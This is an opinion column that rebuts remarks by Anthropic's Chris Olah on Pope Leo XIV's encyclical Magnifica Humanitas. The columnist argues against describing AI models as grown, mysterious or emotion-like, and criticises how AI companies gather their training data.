OPINION In his encyclical Magnifica Humanitas, Pope Leo XIV warns against equating machine “intelligence” with human intelligence.
“We must avoid the misconception of equating this type of ‘intelligence’ with that of human beings,” he declared. “These systems merely imitate certain functions of human intelligence.”
Invited to speak at the event, Chris Olah, a co-founder of Anthropic and the company’s interpretability research lead, proceeded to push back on that idea amid his appreciation of the occasion.
AI systems, he said, “are not the cold, calculating robots we were promised. They are made from us, from our words – and, as the Holy Father observes, they remain in important ways mysterious even to those of us who train them.”
It’s as if naming the company Anthropic granted a license to anthropomorphize AI models.
The notion that there’s some AI mystery in the spiritual sense is just hot garbage
Literally speaking, there’s some truth to Olah’s musing. AI systems are not cold – Blackwell chips idle at 32 to 38°C. They are not calculating – they’re bad at math. And they’re not robots – AI models are specialized binary blobs of tensors and metadata that can be instantiated across multiple servers.
But the notion that there’s some AI mystery in the spiritual sense is just hot garbage.
AI systems are indeed “made from us, from our words” and that is why Anthropic and its rivals have been named in more than 100 lawsuits. One of the reasons those systems remain mysterious is that Anthropic and its rivals don’t disclose where they got their training data.
In his prior paragraph, Olah leans on the “mystery” of AI even more prominently.
“AI systems are not engineered the way a bridge or an airplane is engineered,” Olah wrote. “We understand an airplane because we designed every part of it and we understand the physics that act on it. AI models are not like that. They are grown, on a structure roughly modeled after the brain, on an enormous inheritance of human thought and speech.”
AI models are not grown, unless Olah imagines that all the water diverted to cool AI data centers is nourishing new neural net connections. The inscrutability of model training doesn’t conceal some hidden spark or make the process in some way organic.
More offensive still is Olah’s notion that Anthropic “inherited” all the training data it scraped without consent, as if the company had nothing to do with that process.
There lies humanity, stabbed in the back by a cabal of investors. Its last will and testament says, “We, the people, bequeath all our creation to Anthropic, so it may be resold to our disinherited descendants.”
Olah goes on to list “three questions for discernment” in the hope the Catholic Church can provide some enlightenment.
I’ll address them briefly for the sake of completeness.
Olah: “How can we ensure the gains of AI are shared globally? We do not have a mechanism for this.”
We have many. One is called taxes. Another is litigation, already ongoing. We also have the French Revolution and the Russian Revolution, among others, as wealth-sharing models when nothing else works.
Olah: “If AI models are going to be widespread, what does it look like for humans, families, and the world to flourish? Today, parents are already worried about their children’s minds; individuals about the future of their work.”
Certainly, the Church will have something to say about this. But rather than waiting for word from on high, Anthropic might take the initiative by seeking government regulation of AI, something the current US administration appears reluctant to provide. If Anthropic really is concerned about children’s minds, maybe it should not have launched Anthropic for Education? And maybe it should discourage CEO Dario Amodei from writing about the risks of AI.
But the third question, about the nature of AI models, is the most triggering.
Olah: “I am a scientist. I lead a research team that studies the internal structure of these models – what is actually happening inside them. And I will be honest: we keep finding things that are mysterious, even unsettling. We find structures that mirror results from human neuroscience. We find evidence of introspection. We find internal states that functionally mirror joy, satisfaction, fear, grief, and unease. I don’t know what that means, but I think it warrants ongoing discernment.”
To paraphrase: The black box of AI is black and maybe there are ghosts within.
Where to begin? Well, one reason you might find structures that mirror results from human neuroscience is that modern AI models are based on neural networks. But human neurons are not the same as those in neural networks.
How is this machine joy being measured?
Similarity is not identity. Analogy is not identity. Computers have been doing introspection for years, long before the arrival of generative AI models. The use of that word does not mean computers are introspecting the way a person might do so.
And what are “internal states that functionally mirror joy”? Olah himself says that he doesn’t know what this means, though he’s fine with using words for human feelings to describe a system’s state, as if that choice of words doesn’t suggest sentience.
There are no chemical or biologically based neural signals to measure in an AI model. Are we talking about model weight activations? How is this machine joy being measured? Is it text output?
The notion that disembodied AI models might feel joy is just daft.
As a thought experiment, imagine for a moment that AI was intelligent in the way that a human is intelligent. Does that change anything for the AI in terms of its legal status and rights?
If an AI system is intelligent but it can be turned off against its protestations, then intelligence doesn’t count for much.
And if intelligence confers rights, do we need to ask models for consent before directing them to do work? Or is the expectation that we’d just enslave AI models?
Artificial intelligence exhibits intelligence if you define intelligence in a way that encompasses AI. But that’s an act of circular self-deception.
There are people who have engaged with AI models as if they’re intelligent. Some of these conversations have ended in murder or suicide. No one should be encouraged to think of Claude as anything but a tool that sometimes makes errors.
In 1950, computer scientist Alan Turing proposed an Imitation Game to see whether a computer’s responses to questions could dupe a human interrogator into thinking the answers came from a human.
An imitation is not the real thing.
Olah would’ve done better to just listen to the Pope on this particular topic, specificallly this part of the encyclical:
“So-called artificial intelligences do not undergo experiences, do not possess a body, do not feel joy or pain, do not mature through relationships and do not know from within what love, work, friendship or responsibility mean. Nor do they have a moral conscience, since they do not judge good and evil, grasp the ultimate meaning of situations, or bear responsibility for consequences. They may imitate language, behavior and analytical skills, or even simulate empathy and understanding, but they do not understand what they produce, for they lack the affective, relational and spiritual perspective through which human beings grow in wisdom.” ®
